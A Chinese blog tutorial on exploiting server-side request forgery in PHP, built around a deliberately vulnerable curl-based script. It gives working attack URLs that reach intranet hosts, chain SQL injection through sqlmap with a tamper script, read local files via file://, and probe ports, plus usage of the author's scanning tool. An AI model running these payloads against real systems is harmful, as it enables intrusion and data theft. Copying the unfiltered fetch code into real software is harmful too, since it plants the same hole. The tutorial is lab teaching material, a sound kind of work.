• ssrf漏洞利用


    0x00 前言

    发现最近已经很久没更新文章了,这里就先来更新一篇ssrf,这个漏洞也是最近才研究的,以前没有去挖过此类漏洞,对此漏洞的认知也比较少

    0x01 漏洞原理

    这个漏洞产生是因为服务器向外部去请求一些资源,例如图片或者是url的时候就会造成这个漏洞。现在很多网站开发的时候也会请求到外部的一些图片,那么这样也很有可能存在ssrf漏洞。

    先来看看产生ssrf漏洞的几个函数。

    file_get_contents()
    fsockopen()
    curl_exec()

     

    0x02 ssrf 利用

     

    在php里面使用者几个函数来请求外部的资源,并且没做限制和过滤的话就会产生这个ssrf漏洞,

    这里先来编写一段简单的ssrf代码。

    <?php
    function curl($url)
    {
        $ch = curl_init();
        curl_setopt($ch,CURLOPT_URL, $url);
        curl_setopt($ch,CURLOPT_HEADER,0);
        curl_exec($ch);
        curl_close($ch);
    
    }
    $url = $_GET['url'];
    curl($url);
    ?>

    这里请求以get方式接收url传参过来数据。

    在正常情况下url可能是这样的

    http://127.0.0.1/ssrf1.php?url=https://p2.ssl.qhimgs1.com/t01523800134810ef18.jpg

    但是我们如果把他请求的链接替换成他内网的地址,就可以让他直接访问内网的80端口。

     

    http://127.0.0.1/ssrf1.php?url=http://192.168.0.104

     

    这里可以看到能利用到ssrf漏洞,访问到内部的资源,那么我们是不是可以来尝试一下能不能访问他内网的url进行sql注入,但是这里只会加载部分资源,具体得还得靠字典去扫描。

    方便演示,直接搭建了个sqli-labs 的靶机在他访问的内网环境中,用ssrf来请求。

     

    http://127.0.0.1/ssrf1.php?url=http://192.168.0.104:8000/Less-1/?id=2%27

     

    这里要注意的一个点是后面输入的payload 要url编码,否则会报错。

     

    这里直接使用sqlmap来跑,内网的一些网站大部分防护比较弱。

    sqlmap -u "http://127.0.0.1/ssrf1.php?url=http://192.168.0.104:8000/Less-1/?id=1*" --dbs

     

    在这里只检测出来了存在注入,但是缺没有爆出数据,后面输入空格的地方没做编码可能会报错

     

     

    那么我们使用sqlmap的时候可以加上tamper脚本,让空格做个编码或者是替换。

    sqlmap -u "http://127.0.0.1/ssrf1.php?url=http://192.168.0.104:8000/Less-1/?id=1*" --dbs --tamper=space2comment

     

    这里成功爆出所有数据。

     

    ssrf也可以使用一些伪协议来探测内网的ip和端口,这里先使用file协议来读取文件。

     

    http://127.0.0.1/ssrf1.php?url=file://c:\windows\win.ini

     

     

     

    成功访问到win.ini文件

    这里编写了个脚本使用file协议来使用字典去遍历文件。

     

    python.exe ssrf.py http://127.0.0.1/ssrf1.php?url path.txt file

    这里能直接遍历到文件。让脚本帮我们完成工作,能让我们在渗透当中避免不必要的麻烦。

     

    遍历完文件后,还可以用ssrf来遍历端口。

     

    http://127.0.0.1/ssrf1.php?url=http://127.0.0.1:3306

     

     

    这里可以直接探测到一些banner信息,如果没开放的话,这里是不会返回任何内容的。

    那么我们这里肯定也不能使用手工去做探测依然用到我们的脚本。

    python ssrf.py http://127.0.0.1/ssrf1.php?url port.txt http

     

     

    可以成功探测出本机ip开放的端口以及版本信息,在代码里面默认写的是探测本机的端口,如果想探测其他的内网ip段开放端口的话可以自行修改一下代码中的ip。因为先麻烦所以暂时先把它给固定死。项目的地址也在这里贴出来给各位师傅。

    github地址:https://github.com/nice0e3/ssrf

    在这里还有个功能没写就是需要遍历内网存活的80端口,后面也会逐渐完善这个脚本。

     

     

    0x03 一些小感慨

    在这段时间接触脚本开发以来,发现原来会开发安全工具的和不会开发的是两种本质上的区别,从思维上就有很大的区别。不会开发工具的话,话说难听点就是个工具人。但是会开发工具的缺不一样,会开发工具的会是一个开发工具的工具人,哈哈哈。

    最近都在完善一些脚本能力,也在逐渐使用脚本来完善一些以前有过的一些大胆的想法。

     

    本文章耗时:两小时

     

     

     

     

     

  • 相关阅读:
    内存问题再次注意
    数据分析(基础/数组)
    总结
    scrapy框架
    selenium
    chromedriver设置无界面模式 selenium基础操作
    selenium+phantomjs/Chrome/Firefox
    json解析模块
    cookie模拟登录
    常用正则
  • 原文地址:https://www.cnblogs.com/nice0e3/p/12854281.html
Copyright © 2020-2023  润新知